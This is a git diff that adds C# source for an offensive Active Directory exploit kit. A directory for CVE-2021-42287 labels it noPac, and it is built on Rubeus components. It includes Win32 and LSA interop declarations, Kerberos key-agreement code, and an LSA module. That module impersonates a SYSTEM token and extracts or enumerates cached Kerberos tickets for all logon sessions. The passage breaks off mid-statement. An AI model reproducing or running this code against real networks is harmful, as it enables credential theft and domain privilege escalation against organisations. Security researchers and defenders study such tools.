LUID OriginatingLogonSession; + } + + // the following are adapted from https://www.pinvoke.net/default.aspx/secur32.InitializeSecurityContext + [StructLayout(LayoutKind.Sequential)] + public struct SecHandle //=PCtxtHandle + { + IntPtr dwLower; // ULONG_PTR translates to IntPtr not to uint + IntPtr dwUpper; // this is crucial for 64-Bit Platforms + } + + [StructLayout(LayoutKind.Sequential)] + public struct SecBuffer : IDisposable + { + public int cbBuffer; + public int BufferType; + public IntPtr pvBuffer; + + + public SecBuffer(int bufferSize) + { + cbBuffer = bufferSize; + BufferType = (int)SecBufferType.SECBUFFER_TOKEN; + pvBuffer = Marshal.AllocHGlobal(bufferSize); + } + + public SecBuffer(byte[] secBufferBytes) + { + cbBuffer = secBufferBytes.Length; + BufferType = (int)SecBufferType.SECBUFFER_TOKEN; + pvBuffer = Marshal.AllocHGlobal(cbBuffer); + Marshal.Copy(secBufferBytes, 0, pvBuffer, cbBuffer); + } + + public SecBuffer(byte[] secBufferBytes, SecBufferType bufferType) + { + cbBuffer = secBufferBytes.Length; + BufferType = (int)bufferType; + pvBuffer = Marshal.AllocHGlobal(cbBuffer); + Marshal.Copy(secBufferBytes, 0, pvBuffer, cbBuffer); + } + + public void Dispose() + { + if (pvBuffer != IntPtr.Zero) + { + Marshal.FreeHGlobal(pvBuffer); + pvBuffer = IntPtr.Zero; + } + } + } + + public struct MultipleSecBufferHelper + { + public byte[] Buffer; + public SecBufferType BufferType; + + public MultipleSecBufferHelper(byte[] buffer, SecBufferType bufferType) + { + if (buffer == null || buffer.Length == 0) + { + throw new ArgumentException("buffer cannot be null or 0 length"); + } + + Buffer = buffer; + BufferType = bufferType; + } + }; + + [StructLayout(LayoutKind.Sequential)] + public struct SecBufferDesc : IDisposable + { + + public int ulVersion; + public int cBuffers; + public IntPtr pBuffers; //Point to SecBuffer + + public SecBufferDesc(int bufferSize) + { + ulVersion = (int)SecBufferType.SECBUFFER_VERSION; + cBuffers = 1; + SecBuffer ThisSecBuffer = new SecBuffer(bufferSize); + pBuffers = Marshal.AllocHGlobal(Marshal.SizeOf(ThisSecBuffer)); + Marshal.StructureToPtr(ThisSecBuffer, pBuffers, false); + } + + public SecBufferDesc(byte[] secBufferBytes) + { + ulVersion = (int)SecBufferType.SECBUFFER_VERSION; + cBuffers = 1; + SecBuffer ThisSecBuffer = new SecBuffer(secBufferBytes); + pBuffers = Marshal.AllocHGlobal(Marshal.SizeOf(ThisSecBuffer)); + Marshal.StructureToPtr(ThisSecBuffer, pBuffers, false); + } + + public SecBufferDesc(MultipleSecBufferHelper[] secBufferBytesArray) + { + if (secBufferBytesArray == null || secBufferBytesArray.Length == 0) + { + throw new ArgumentException("secBufferBytesArray cannot be null or 0 length"); + } + + ulVersion = (int)SecBufferType.SECBUFFER_VERSION; + cBuffers = secBufferBytesArray.Length; + + //Allocate memory for SecBuffer Array.... + pBuffers = Marshal.AllocHGlobal(Marshal.SizeOf(typeof(SecBuffer)) * cBuffers); + + for (int Index = 0; Index < secBufferBytesArray.Length; Index++) + { + //Super hack: Now allocate memory for the individual SecBuffers + //and just copy the bit values to the SecBuffer array!!! + SecBuffer ThisSecBuffer = new SecBuffer(secBufferBytesArray[Index].Buffer, secBufferBytesArray[Index].BufferType); + + //We will write out bits in the following order: + //int cbBuffer; + //int BufferType; + //pvBuffer; + //Note that we won't be releasing the memory allocated by ThisSecBuffer until we + //are disposed... + int CurrentOffset = Index * Marshal.SizeOf(typeof(SecBuffer)); + Marshal.WriteInt32(pBuffers, CurrentOffset, ThisSecBuffer.cbBuffer); + Marshal.WriteInt32(pBuffers, CurrentOffset + Marshal.SizeOf(ThisSecBuffer.cbBuffer), ThisSecBuffer.BufferType); + Marshal.WriteIntPtr(pBuffers, CurrentOffset + Marshal.SizeOf(ThisSecBuffer.cbBuffer) + Marshal.SizeOf(ThisSecBuffer.BufferType), ThisSecBuffer.pvBuffer); + } + } + + public void Dispose() + { + if (pBuffers != IntPtr.Zero) + { + if (cBuffers == 1) + { + SecBuffer ThisSecBuffer = (SecBuffer)Marshal.PtrToStructure(pBuffers, typeof(SecBuffer)); + ThisSecBuffer.Dispose(); + } + else + { + for (int Index = 0; Index < cBuffers; Index++) + { + //The bits were written out the following order: + //int cbBuffer; + //int BufferType; + //pvBuffer; + //What we need to do here is to grab a hold of the pvBuffer allocate by the individual + //SecBuffer and release it... + int CurrentOffset = Index * Marshal.SizeOf(typeof(SecBuffer)); + IntPtr SecBufferpvBuffer = Marshal.ReadIntPtr(pBuffers, CurrentOffset + Marshal.SizeOf(typeof(int)) + Marshal.SizeOf(typeof(int))); + Marshal.FreeHGlobal(SecBufferpvBuffer); + } + } + + Marshal.FreeHGlobal(pBuffers); + pBuffers = IntPtr.Zero; + } + } + + public byte[] GetSecBufferByteArray() + { + byte[] Buffer = null; + + if (pBuffers == IntPtr.Zero) + { + throw new InvalidOperationException("Object has already been disposed!!!"); + } + + if (cBuffers == 1) + { + SecBuffer ThisSecBuffer = (SecBuffer)Marshal.PtrToStructure(pBuffers, typeof(SecBuffer)); + + if (ThisSecBuffer.cbBuffer > 0) + { + Buffer = new byte[ThisSecBuffer.cbBuffer]; + Marshal.Copy(ThisSecBuffer.pvBuffer, Buffer, 0, ThisSecBuffer.cbBuffer); + } + } + else + { + int BytesToAllocate = 0; + + for (int Index = 0; Index < cBuffers; Index++) + { + //The bits were written out the following order: + //int cbBuffer; + //int BufferType; + //pvBuffer; + //What we need to do here calculate the total number of bytes we need to copy... + int CurrentOffset = Index * Marshal.SizeOf(typeof(SecBuffer)); + BytesToAllocate += Marshal.ReadInt32(pBuffers, CurrentOffset); + } + + Buffer = new byte[BytesToAllocate]; + + for (int Index = 0, BufferIndex = 0; Index < cBuffers; Index++) + { + //The bits were written out the following order: + //int cbBuffer; + //int BufferType; + //pvBuffer; + //Now iterate over the individual buffers and put them together into a + //byte array... + int CurrentOffset = Index * Marshal.SizeOf(typeof(SecBuffer)); + int BytesToCopy = Marshal.ReadInt32(pBuffers, CurrentOffset); + IntPtr SecBufferpvBuffer = Marshal.ReadIntPtr(pBuffers, CurrentOffset + Marshal.SizeOf(typeof(int)) + Marshal.SizeOf(typeof(int))); + Marshal.Copy(SecBufferpvBuffer, Buffer, BufferIndex, BytesToCopy); + BufferIndex += BytesToCopy; + } + } + + return (Buffer); + } + } + + [StructLayout(LayoutKind.Sequential)] + public struct SECURITY_INTEGER + { + public uint LowPart; + public int HighPart; + public SECURITY_INTEGER(int dummy) + { + LowPart = 0; + HighPart = 0; + } + }; + + [StructLayout(LayoutKind.Sequential)] + public struct SECURITY_HANDLE + { + public IntPtr LowPart; + public IntPtr HighPart; + public SECURITY_HANDLE(int dummy) + { + LowPart = HighPart = IntPtr.Zero; + } + }; + + [StructLayout(LayoutKind.Sequential)] + public struct SecPkgContext_Sizes + { + public uint cbMaxToken; + public uint cbMaxSignature; + public uint cbBlockSize; + public uint cbSecurityTrailer; + }; + + // taken from https://github.com/tevora-threat/SharpView + [StructLayout(LayoutKind.Sequential)] + public class NetResource + { + public ResourceScope Scope; + public ResourceType ResourceType; + public ResourceDisplaytype DisplayType; + public int Usage; + public string LocalName; + public string RemoteName; + public string Comment; + public string Provider; + } + + + + + + // functions + // Adapted from Vincent LE TOUX' "MakeMeEnterpriseAdmin" + [DllImport("cryptdll.Dll", CharSet = CharSet.Auto, SetLastError = false)] + public static extern int CDLocateCSystem(KERB_ETYPE type, out IntPtr pCheckSum); + + [DllImport("cryptdll.Dll", CharSet = CharSet.Auto, SetLastError = false)] + public static extern int CDLocateCheckSum(KERB_CHECKSUM_ALGORITHM type, out IntPtr pCheckSum); + + // https://github.com/vletoux/MakeMeEnterpriseAdmin/blob/master/MakeMeEnterpriseAdmin.ps1#L1753-L1767 + public delegate int KERB_ECRYPT_Initialize(byte[] Key, int KeySize, int KeyUsage, out IntPtr pContext); + public delegate int KERB_ECRYPT_Encrypt(IntPtr pContext, byte[] data, int dataSize, byte[] output, ref int outputSize); + public delegate int KERB_ECRYPT_Decrypt(IntPtr pContext, byte[] data, int dataSize, byte[] output, ref int outputSize); + public delegate int KERB_ECRYPT_Finish(ref IntPtr pContext); + + public delegate int KERB_ECRYPT_HashPassword(UNICODE_STRING Password, UNICODE_STRING Salt, int count, byte[] output); + + //https://github.com/vletoux/MakeMeEnterpriseAdmin/blob/master/MakeMeEnterpriseAdmin.ps1#L1760-L1767 + public delegate int KERB_CHECKSUM_Initialize(int unk0, out IntPtr pContext); + public delegate int KERB_CHECKSUM_Sum(IntPtr pContext, int Size, byte[] Buffer); + public delegate int KERB_CHECKSUM_Finalize(IntPtr pContext, byte[] Buffer); + public delegate int KERB_CHECKSUM_Finish(ref IntPtr pContext); + public delegate int KERB_CHECKSUM_InitializeEx(byte[] Key, int KeySize, int KeyUsage, out IntPtr pContext); + + + [DllImport("Netapi32.dll", CharSet = CharSet.Auto, SetLastError = true)] + public static extern int DsGetDcName( + [MarshalAs(UnmanagedType.LPTStr)] string ComputerName, + [MarshalAs(UnmanagedType.LPTStr)] string DomainName, + [In] int DomainGuid, + [MarshalAs(UnmanagedType.LPTStr)] string SiteName, + [MarshalAs(UnmanagedType.U4)] DSGETDCNAME_FLAGS flags, + out IntPtr pDOMAIN_CONTROLLER_INFO); + + [DllImport("Netapi32.dll", SetLastError = true)] + public static extern int NetApiBufferFree(IntPtr Buffer); + + [DllImport("kernel32.dll")] + public extern static void GetSystemTime(ref SYSTEMTIME lpSystemTime); + + // LSA functions + + [DllImport("secur32.dll", SetLastError = false)] + public static extern int LsaConnectUntrusted( + [Out] out IntPtr LsaHandle + ); + + [DllImport("secur32.dll", SetLastError = false)] + public static extern int LsaLookupAuthenticationPackage( + [In] IntPtr LsaHandle, + [In] ref LSA_STRING_IN PackageName, + [Out] out int AuthenticationPackage + ); + + [DllImport("kernel32.dll")] + public static extern IntPtr LocalAlloc( + uint uFlags, + uint uBytes + ); + + [DllImport("advapi32.dll", SetLastError = true)] + public static extern uint LsaNtStatusToWinError( + uint status + ); + + [DllImport("advapi32.dll", SetLastError = true, PreserveSig = true)] + public static extern uint LsaFreeMemory( + IntPtr buffer + ); + + [DllImport("kernel32.dll", EntryPoint = "CopyMemory", SetLastError = false)] + public static extern void CopyMemory( + IntPtr dest, + IntPtr src, + uint count + ); + + [DllImport("secur32.dll", SetLastError = false)] + public static extern int LsaCallAuthenticationPackage( + IntPtr LsaHandle, + int AuthenticationPackage, + IntPtr ProtocolSubmitBuffer, + int SubmitBufferLength, + out IntPtr ProtocolReturnBuffer, + out int ReturnBufferLength, + out int ProtocolStatus + ); + + [DllImport("secur32.dll", SetLastError = false)] + public static extern int LsaDeregisterLogonProcess( + [In] IntPtr LsaHandle + ); + + [DllImport("secur32.dll", SetLastError = true)] + public static extern int LsaRegisterLogonProcess( + LSA_STRING_IN LogonProcessName, + out IntPtr LsaHandle, + out ulong SecurityMode + ); + + // for GetSystem() + [DllImport("advapi32.dll", SetLastError = true)] + [return: MarshalAs(UnmanagedType.Bool)] + public static extern bool OpenProcessToken( + IntPtr ProcessHandle, + UInt32 DesiredAccess, + out IntPtr TokenHandle); + + [DllImport("advapi32.dll")] + public static extern bool DuplicateToken( + IntPtr ExistingTokenHandle, + int SECURITY_IMPERSONATION_LEVEL, + ref IntPtr DuplicateTokenHandle); + + [DllImport("advapi32.dll", SetLastError = true)] + public static extern bool ImpersonateLoggedOnUser( + IntPtr hToken); + + [DllImport("advapi32.dll", SetLastError = true)] + public static extern bool RevertToSelf(); + + [DllImport("kernel32.dll")] + public static extern uint GetLastError(); + + [DllImport("advapi32.dll", SetLastError = true)] + public static extern bool GetTokenInformation( + IntPtr TokenHandle, + TOKEN_INFORMATION_CLASS TokenInformationClass, + IntPtr TokenInformation, + int TokenInformationLength, + out int ReturnLength); + + [DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Unicode)] + public static extern bool CreateProcessWithLogonW( + String userName, + String domain, + String password, + UInt32 logonFlags, + String applicationName, + String commandLine, + UInt32 creationFlags, + UInt32 environment, + String currentDirectory, + ref STARTUPINFO startupInfo, + out PROCESS_INFORMATION processInformation); + + [DllImport("kernel32.dll", SetLastError = true)] + [return: MarshalAs(UnmanagedType.Bool)] + public static extern bool CloseHandle( + IntPtr hObject + ); + + [DllImport("Secur32.dll", SetLastError = false)] + public static extern int LsaEnumerateLogonSessions( + out UInt64 LogonSessionCount, + out IntPtr LogonSessionList + ); + + [DllImport("Secur32.dll", SetLastError = false)] + public static extern uint LsaGetLogonSessionData( + IntPtr luid, + out IntPtr ppLogonSessionData + ); + + [DllImport("secur32.dll", SetLastError = false)] + public static extern uint LsaFreeReturnBuffer( + IntPtr buffer + ); + + // adapted from https://www.pinvoke.net/default.aspx/secur32.InitializeSecurityContext + [DllImport("secur32.dll", CharSet = CharSet.Auto, SetLastError = true)] + public static extern int AcquireCredentialsHandle( + string pszPrincipal, //SEC_CHAR* + string pszPackage, //SEC_CHAR* //"Kerberos","NTLM","Negotiative" + int fCredentialUse, + IntPtr PAuthenticationID,//_LUID AuthenticationID,//pvLogonID,//PLUID + IntPtr pAuthData,//PVOID + int pGetKeyFn, //SEC_GET_KEY_FN + IntPtr pvGetKeyArgument, //PVOID + ref SECURITY_HANDLE phCredential, //SecHandle //PCtxtHandle ref + ref SECURITY_INTEGER ptsExpiry //PTimeStamp //TimeStamp ref + ); + + [DllImport("secur32.dll", SetLastError = true)] + public static extern int InitializeSecurityContext( + ref SECURITY_HANDLE phCredential,//PCredHandle + IntPtr phContext, //PCtxtHandle + string pszTargetName, + int fContextReq, + int Reserved1, + int TargetDataRep, + IntPtr pInput, //PSecBufferDesc SecBufferDesc + int Reserved2, + out SECURITY_HANDLE phNewContext, //PCtxtHandle + out SecBufferDesc pOutput, //PSecBufferDesc SecBufferDesc + out uint pfContextAttr, //managed ulong == 64 bits!!! + out SECURITY_INTEGER ptsExpiry //PTimeStamp + ); + + [DllImport("secur32.dll")] + public static extern int DeleteSecurityContext( + ref SECURITY_HANDLE phContext + ); + + [DllImport("secur32.dll", CharSet = CharSet.Auto)] + public static extern int FreeCredentialsHandle( + [In] ref SECURITY_HANDLE phCredential + ); + + [DllImport("Secur32.dll")] + public static extern int FreeContextBuffer( + ref IntPtr pvContextBuffer + ); + + // taken from https://github.com/tevora-threat/SharpView + [DllImport("mpr.dll")] + public static extern int WNetAddConnection2(NetResource netResource, + string password, string username, int flags); + + [DllImport("mpr.dll")] + public static extern int WNetCancelConnection2(string name, int flags, + bool force); + } +} \ No newline at end of file diff --git a/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/Interop/Luid.cs b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/Interop/Luid.cs new file mode 100644 index 0000000..453b890 --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/Interop/Luid.cs @@ -0,0 +1,84 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Runtime.InteropServices; +using System.Text; + +namespace Rubeus.lib.Interop +{ + [StructLayout(LayoutKind.Sequential)] + public struct LUID + { + public UInt32 LowPart; + public Int32 HighPart; + + public LUID(UInt64 value) + { + LowPart = (UInt32)(value & 0xffffffffL); + HighPart = (Int32)(value >> 32); + } + + public LUID(LUID value) + { + LowPart = value.LowPart; + HighPart = value.HighPart; + } + + public LUID(string value) + { + if (System.Text.RegularExpressions.Regex.IsMatch(value, @"^0x[0-9A-Fa-f]+$")) + { + // if the passed LUID string is of form 0xABC123 + UInt64 uintVal = Convert.ToUInt64(value, 16); + LowPart = (UInt32)(uintVal & 0xffffffffL); + HighPart = (Int32)(uintVal >> 32); + } + else if (System.Text.RegularExpressions.Regex.IsMatch(value, @"^\d+$")) + { + // if the passed LUID string is a decimal form + UInt64 uintVal = UInt64.Parse(value); + LowPart = (UInt32)(uintVal & 0xffffffffL); + HighPart = (Int32)(uintVal >> 32); + } + else + { + System.ArgumentException argEx = new System.ArgumentException("Passed LUID string value is not in a hex or decimal form", value); + throw argEx; + } + } + + public override int GetHashCode() + { + UInt64 Value = ((UInt64)this.HighPart << 32) + this.LowPart; + return Value.GetHashCode(); + } + + public override bool Equals(object obj) + { + return obj is LUID && (((ulong)this) == (LUID)obj); + } + + public override string ToString() + { + UInt64 Value = ((UInt64)this.HighPart << 32) + this.LowPart; + return String.Format("0x{0:x}", (ulong)Value); + } + + public static bool operator ==(LUID x, LUID y) + { + return (((ulong)x) == ((ulong)y)); + } + + public static bool operator !=(LUID x, LUID y) + { + return (((ulong)x) != ((ulong)y)); + } + + public static implicit operator ulong(LUID luid) + { + // enable casting to a ulong + UInt64 Value = ((UInt64)luid.HighPart << 32); + return Value + luid.LowPart; + } + } +} diff --git a/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/Interop/NtException.cs b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/Interop/NtException.cs new file mode 100644 index 0000000..f77c2bd --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/Interop/NtException.cs @@ -0,0 +1,33 @@ +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Linq; +using System.Runtime.InteropServices; +using System.Text; + +namespace Rubeus.lib.Interop +{ + public class NtException : Exception + { + [DllImport("ntdll.dll")] + public static extern int RtlNtStatusToDosError(int status); + + internal const int ERROR_MR_MID_NOT_FOUND = 317; + + public NtException(int errorCode): base(GetErrorMessage(errorCode)) + { + } + + private static string GetErrorMessage(int errorCode) + { + if (Rubeus.Interop.LsaNtStatusToWinError((uint)errorCode) == ERROR_MR_MID_NOT_FOUND) + { + return $"NTSTAUTS error code 0x{errorCode.ToString("X")}"; + } + else + { + return $"NTSTATUS error code 0x{errorCode.ToString("X")}: " + (new Win32Exception(errorCode)).Message; + } + } + } +} diff --git a/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/KDCKeyAgreement.cs b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/KDCKeyAgreement.cs new file mode 100644 index 0000000..0e95e7e --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/KDCKeyAgreement.cs @@ -0,0 +1,74 @@ +using Kerberos.NET.Crypto; +using System.Security.Cryptography; + +namespace Rubeus { + + public class KDCKeyAgreement { + + public byte[] P { get { return Oakley.Group14.Prime; } } + public byte[] G { get { return Oakley.Group14.Generator; } } + public byte[] Q { get { return Oakley.Group14.Factor; } } + public byte[] Y {get { return diffieHellman.PublicKey.PublicComponent; } } + + ManagedDiffieHellmanOakley14 diffieHellman = new ManagedDiffieHellmanOakley14(); + + public KDCKeyAgreement() { + } + + private static byte[] CalculateIntegrity(byte count, byte[] data) { + + byte[] input = new byte[data.Length + 1]; + input[0] = count; + data.CopyTo(input, 1); + + using (SHA1CryptoServiceProvider sha1 = new SHA1CryptoServiceProvider()) { + return sha1.ComputeHash(input); + } + } + + private static byte[] kTruncate(int k, byte[] x) { + + int numberOfBytes = k; + byte[] result = new byte[numberOfBytes]; + + int count = 0; + byte[] filler = CalculateIntegrity((byte)count, x); + + int position = 0; + + for (int i = 0; i < numberOfBytes; i++) { + if (position < filler.Length) { + result[i] = filler[position]; + position++; + } else { + count++; + filler = CalculateIntegrity((byte)count, x); + position = 0; + result[i] = filler[position]; + position++; + } + } + + return result; + } + + public byte[] GenerateKey(byte[] otherPublicKey, byte[] clientNonce, byte[] serverNonce, int size) { + + DiffieHellmanKey diffieHellmanKey = new DiffieHellmanKey(); + diffieHellmanKey.PublicComponent = otherPublicKey; + diffieHellmanKey.KeyLength = otherPublicKey.Length; + diffieHellmanKey.Type = AsymmetricKeyType.Public; + + diffieHellman.ImportPartnerKey(diffieHellmanKey); + byte[] sharedSecret = diffieHellman.GenerateAgreement(); + + byte[] x = new byte[sharedSecret.Length + clientNonce.Length + serverNonce.Length]; + + sharedSecret.CopyTo(x, 0); + clientNonce.CopyTo(x, sharedSecret.Length); + serverNonce.CopyTo(x, sharedSecret.Length + clientNonce.Length); + + return kTruncate(size, x); + } + } +} diff --git a/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/LSA.cs b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/LSA.cs new file mode 100644 index 0000000..c65e08d --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/LSA.cs @@ -0,0 +1,1590 @@ +using Asn1; +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Runtime.InteropServices; +using System.Text.RegularExpressions; +using System.Security.AccessControl; +using System.Globalization; +using Microsoft.Win32; +using ConsoleTables; +using System.Security.Principal; +using Rubeus.lib.Interop; +using System.IO; +using Rubeus.Kerberos; +using Rubeus.Kerberos.PAC; +using System.Linq; + +namespace Rubeus +{ + public class LSA + { + #region LSA interaction + + public enum TicketDisplayFormat : int + { + None = 0, // if we're just after enumerated tickets + Triage = 1, // triage table output + Klist = 2, // traditional klist format + Full = 3 // full ticket data extraction (a la "dump") + } + + public class SESSION_CRED + { + // contains information on a logon session and any associated credentials + // used/returned by ExtractTickets + + public LogonSessionData LogonSession; + + public List Tickets; + } + + public class KRB_TICKET + { + // contains cache info (i.e. KERB_TICKET_CACHE_INFO_EX) and the full .kirbi + public string ClientName; + public string ClientRealm; + public string ServerName; + public string ServerRealm; + public DateTime StartTime; + public DateTime EndTime; + public DateTime RenewTime; + public Int32 EncryptionType; + public Interop.TicketFlags TicketFlags; + public KRB_CRED KrbCred; + } + + public static IntPtr LsaRegisterLogonProcessHelper() + { + // helper that establishes a connection to the LSA server and verifies that the caller is a logon application + // used for Kerberos ticket enumeration for ALL users + + var logonProcessName = "User32LogonProcesss"; // yes I know this is "weird" ;) + Interop.LSA_STRING_IN LSAString; + var lsaHandle = IntPtr.Zero; + UInt64 securityMode = 0; + + LSAString.Length = (ushort)logonProcessName.Length; + LSAString.MaximumLength = (ushort)(logonProcessName.Length + 1); + LSAString.Buffer = logonProcessName; + + var ret = Interop.LsaRegisterLogonProcess(LSAString, out lsaHandle, out securityMode); + + return lsaHandle; + } + + public static IntPtr GetLsaHandle() + { + // returns a handle to LSA + // uses LsaConnectUntrusted() if not in high integrity + // uses LsaRegisterLogonProcessHelper() if in high integrity + + IntPtr lsaHandle; + + if (!Helpers.IsHighIntegrity()) + { + int retCode = Interop.LsaConnectUntrusted(out lsaHandle); + } + + else + { + lsaHandle = LsaRegisterLogonProcessHelper(); + + // if the original call fails then it is likely we don't have SeTcbPrivilege + // to get SeTcbPrivilege we can Impersonate a NT AUTHORITY\SYSTEM Token + if (lsaHandle == IntPtr.Zero) + { + var currentName = WindowsIdentity.GetCurrent().Name; + + if (Helpers.IsSystem()) + { + // if we're already SYSTEM, we have the proper privilegess to get a Handle to LSA with LsaRegisterLogonProcessHelper + lsaHandle = LsaRegisterLogonProcessHelper(); + } + else + { + // elevated but not system, so gotta GetSystem() first + if (!Helpers.GetSystem()) + { + throw new Exception("Could not elevate to system"); + } + // should now have the proper privileges to get a Handle to LSA + lsaHandle = LsaRegisterLogonProcessHelper(); + // we don't need our NT AUTHORITY\SYSTEM Token anymore so we can revert to our original token + Interop.RevertToSelf(); + } + } + } + + return lsaHandle; + } + + public static KRB_CRED ExtractTicket(IntPtr lsaHandle, int authPack, LUID userLogonID, string targetName, UInt32 ticketFlags = 0) + { + // extracts an encoded KRB_CRED for a specified userLogonID (LUID) and targetName (SPN) + // by calling LsaCallAuthenticationPackage() w/ the KerbRetrieveEncodedTicketMessage message type + + var responsePointer = IntPtr.Zero; + var request = new Interop.KERB_RETRIEVE_TKT_REQUEST(); + var response = new Interop.KERB_RETRIEVE_TKT_RESPONSE(); + var returnBufferLength = 0; + var protocalStatus = 0; + KRB_CRED ticketKirbi = null; + + // signal that we want encoded .kirbi's returned + request.MessageType = Interop.KERB_PROTOCOL_MESSAGE_TYPE.KerbRetrieveEncodedTicketMessage; + + // the specific logon session ID + request.LogonId = userLogonID; + //request.TicketFlags = ticketFlags; + request.TicketFlags = 0x0; + // Note: ^ if a ticket has the forwarded flag (instead of initial), hard specifying the ticket + // flags here results in no match, and a new (RC4_HMAC?) ticket is requested but not cached + // from https://docs.microsoft.com/en-us/windows/win32/api/ntsecapi/ns-ntsecapi-kerb_retrieve_tkt_request : + // "If there is no match in the cache, a new ticket with the default flag values will be requested." + // Yes, I know this is weird. No, I have no idea why it happens. Specifying 0x0 (the default) will return just the main + // (initial) TGT, or a forwarded ticket if that's all that exists (a la the printer bug) + request.CacheOptions = 0x8; // KERB_CACHE_OPTIONS.KERB_RETRIEVE_TICKET_AS_KERB_CRED - return the ticket as a KRB_CRED credential + request.EncryptionType = 0x0; + + // the target ticket name we want the ticket for + var tName = new Interop.UNICODE_STRING(targetName); + request.TargetName = tName; + + // the following is due to the wonky way LsaCallAuthenticationPackage wants the KERB_RETRIEVE_TKT_REQUEST + // for KerbRetrieveEncodedTicketMessages + + // create a new unmanaged struct of size KERB_RETRIEVE_TKT_REQUEST + target name max len + var structSize = Marshal.SizeOf(typeof(Interop.KERB_RETRIEVE_TKT_REQUEST)); + var newStructSize = structSize + tName.MaximumLength; + var unmanagedAddr = Marshal.AllocHGlobal(newStructSize); + + // marshal the struct from a managed object to an unmanaged block of memory. + Marshal.StructureToPtr(request, unmanagedAddr, false); + + // set tName pointer to end of KERB_RETRIEVE_TKT_REQUEST + var newTargetNameBuffPtr = (IntPtr)((long)(unmanagedAddr.ToInt64() + (long)structSize)); + + // copy unicode chars to the new location + Interop.CopyMemory(newTargetNameBuffPtr, tName.buffer, tName.MaximumLength); + + // update the target name buffer ptr + Marshal.WriteIntPtr(unmanagedAddr, IntPtr.Size == 8 ? 24 : 16, newTargetNameBuffPtr); + + // actually get the data + int retCode = Interop.LsaCallAuthenticationPackage(lsaHandle, authPack, + unmanagedAddr, newStructSize, out responsePointer, + out returnBufferLength, out protocalStatus); + + // TODO: is this needed? + //if (retCode != 0) + //{ + // throw new NtException(retCode); + //} + + // translate the LSA error (if any) to a Windows error + var winError = Interop.LsaNtStatusToWinError((uint)protocalStatus); + + if ((retCode == 0) && ((uint)winError == 0) && + (returnBufferLength != 0)) + { + // parse the returned pointer into our initial KERB_RETRIEVE_TKT_RESPONSE structure + response = + (Interop.KERB_RETRIEVE_TKT_RESPONSE)Marshal.PtrToStructure( + (System.IntPtr)responsePointer, + typeof(Interop.KERB_RETRIEVE_TKT_RESPONSE)); + + var encodedTicketSize = response.Ticket.EncodedTicketSize; + + // extract the ticket, build a KRB_CRED object, and add to the cache + var encodedTicket = new byte[encodedTicketSize]; + Marshal.Copy(response.Ticket.EncodedTicket, encodedTicket, 0, + encodedTicketSize); + + ticketKirbi = new KRB_CRED(encodedTicket); + } + else + { + var errorMessage = new Win32Exception((int)winError).Message; + Console.WriteLine( + "\r\n[X] Error {0} calling LsaCallAuthenticationPackage() for target \"{1}\" : {2}", + winError, targetName, errorMessage); + } + + // clean up + Interop.LsaFreeReturnBuffer(responsePointer); + Marshal.FreeHGlobal(unmanagedAddr); + + return ticketKirbi; + } + + public static List EnumerateTickets(bool extractTicketData = false, LUID targetLuid = new LUID(), string targetService = null, string targetUser = null, string targetServer = null, bool includeComputerAccounts = true, bool silent = false) + { + // Enumerates Kerberos tickets with various targeting options + + // targetLuid - the target logon ID (LUID) to extract tickets for. Requires elevation. + // targetService - the target service name to extract tickets for (use "krbtgt" for TGTs) + // extractTicketData - extract full ticket data instead of just metadata information + // targetUser - the target user name to extract tickets for + // targetServer - the target full SPN (i.e. cifs/machine.domain.com) to extract tickets for + // includeComputerAccounts - bool to include computer accounts in the output + + // For elevated enumeration, the code first elevates to SYSTEM and uses LsaRegisterLogonProcessHelper() connect to LSA + // then calls LsaCallAuthenticationPackage w/ a KerbQueryTicketCacheMessage message type to enumerate all cached tickets + // and finally uses LsaCallAuthenticationPackage w/ a KerbRetrieveEncodedTicketMessage message type + // to extract the Kerberos ticket data in .kirbi format (service tickets and TGTs) + + // For elevated enumeration, the code first uses LsaConnectUntrusted() to connect and LsaCallAuthenticationPackage w/ a KerbQueryTicketCacheMessage message type + // to enumerate all cached tickets, then uses LsaCallAuthenticationPackage w/ a KerbRetrieveEncodedTicketMessage message type + // to extract the Kerberos ticket data in .kirbi format (service tickets and TGTs) + + // adapted partially from Vincent LE TOUX' work + // https://github.com/vletoux/MakeMeEnterpriseAdmin/blob/master/MakeMeEnterpriseAdmin.ps1#L2939-L2950 + // and https://www.dreamincode.net/forums/topic/135033-increment-memory-pointer-issue/ + // also Jared Atkinson's work at https://github.com/Invoke-IR/ACE/blob/master/ACE-Management/PS-ACE/Scripts/ACE_Get-KerberosTicketCache.ps1 + + + // sanity checks + if (!Helpers.IsHighIntegrity() && ( ((ulong)targetLuid != 0) || (!String.IsNullOrEmpty(targetUser)) ) ) + { + Console.WriteLine("[X] You need to be in high integrity for the actions specified."); + return null; + } + + if (!silent) + { + // silent mode is for "monitor"/"harvest" to prevent this data display each time + if (!String.IsNullOrEmpty(targetService)) + { + Console.WriteLine("[*] Target service : {0:x}", targetService); + } + if (!String.IsNullOrEmpty(targetServer)) + { + Console.WriteLine("[*] Target server : {0:x}", targetServer); + } + if (!String.IsNullOrEmpty(targetUser)) + { + Console.WriteLine("[*] Target user : {0:x}", targetUser); + } + if (((ulong)targetLuid != 0)) + { + Console.WriteLine("[*] Target LUID : {0:x}", targetLuid); + } + + Console.WriteLine("[*] Current LUID : {0}\r\n", Helpers.GetCurrentLUID()); + } + + int retCode; + int authPack; + var name = "kerberos"; + var sessionCreds = new List(); + + Interop.LSA_STRING_IN LSAString; + LSAString.Length = (ushort)name.Length; + LSAString.MaximumLength = (ushort)(name.Length + 1); + LSAString.Buffer = name; + + var lsaHandle = GetLsaHandle(); + + try + { + // obtains the unique identifier for the kerberos authentication package. + retCode = 